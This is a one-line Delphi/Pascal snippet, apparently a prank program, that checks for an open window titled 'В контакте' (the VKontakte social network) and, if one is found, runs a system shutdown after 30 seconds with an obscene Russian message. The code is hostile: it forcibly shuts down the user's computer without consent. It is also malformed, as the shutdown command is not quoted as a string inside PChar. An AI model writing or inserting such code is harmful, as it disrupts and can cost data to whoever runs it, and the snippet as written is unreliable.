if findwindow(nil, 'В контакте') <> 0 then winexec(PChar(shutdown -s -t 30 -c "Послан вконтактом НАХУЙ"),0);